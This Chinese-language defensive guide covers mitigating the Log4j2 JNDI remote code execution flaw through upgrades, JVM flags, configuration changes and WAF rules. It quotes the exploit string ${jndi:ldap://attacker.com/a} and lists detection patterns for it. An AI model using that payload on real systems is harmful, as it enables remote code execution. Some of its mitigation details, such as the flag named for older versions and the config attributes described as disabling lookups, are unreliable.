最有效防范方式是升级到Log4j2 2.17.0或更高版本;低版本因默认开启JNDI lookup且未限制协议和地址,易被${jndi:ldap://attacker.com/a}等恶意日志触发远程代码执行。

直接升级到 Log4j2 2.17.0 或更高版本是最有效、最彻底的防范方式。低版本(2.0-beta9 至 2.14.1)因默认开启 JNDI lookup 且未限制协议和目标地址,极易被构造如 ${jndi:ldap://attacker.com/a} 的日志内容触发远程类加载与任意代码执行。
确认是否受影响
检查项目中是否引入了 log4j-core(非 log4j-api),且版本在 2.x 范围内且低于 2.15.0-rc2。可通过以下方式快速识别:
- 运行
mvn dependency:tree | grep log4j或查看lib/目录下的 JAR 包名与版本号 - 确认日志语句中是否可能拼接用户可控输入(如 HTTP 请求头、参数、表单内容)并传入
logger.info()、error()等方法 - 注意:即使日志级别设为 WARN/ERROR,只要 message 含
${jndi:...}且未禁用 lookup,仍可能触发
紧急缓解措施(升级前必做)
若无法立即升级,必须通过 JVM 启动参数或环境变量禁用 JNDI 查找功能:
- 添加 JVM 参数:
-Dlog4j2.formatMsgNoLookups=true(适用于 2.10 及以上) - 或设置系统属性:
log4j2.formatMsgNoLookups=true(代码中早于日志初始化时调用System.setProperty()) - 对 2.0–2.9.x 版本,需额外设置:
-Dlog4j2.noFormatMsgLookup=true(部分旧版兼容) - 同时建议关闭 JNDI 所有协议外连:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
配置层加固
从日志使用习惯和框架配置入手降低风险面:
立即学习“Java免费学习笔记(深入)”;
- 避免将原始请求头(如
User-Agent、Referer)、JSON 字段、URL 参数等未经清洗直接写入日志;应先做字符替换(如将$替换为\$)或白名单过滤 - 在
log4j2.xml或log4j2.properties中显式禁用 lookup:status="warn" monitorInterval="30" disableJmx="true"非核心,但配合noFormatMsgLookup更稳妥 - 若业务允许,可临时将日志格式中的
%m(message)替换为%m{nolookups}(2.15+ 支持)
运行时与基础设施防护
多层设防,弥补应用层遗漏:
- 防火墙或网关策略禁止出向 LDAP(389/636)、RMI(1099)、NIS、DNS over TCP 等非常规端口连接
- WAF 规则拦截含
${jndi:、${${、ldap://、rmi://的 HTTP 请求体或 Header - 启用 JVM 安全管理器(SecurityManager)并严格限制
javax.naming.*权限(较重,生产慎用) - 定期扫描依赖树,使用
log4j-detector或 SCA 工具识别隐藏的 transitive 依赖


















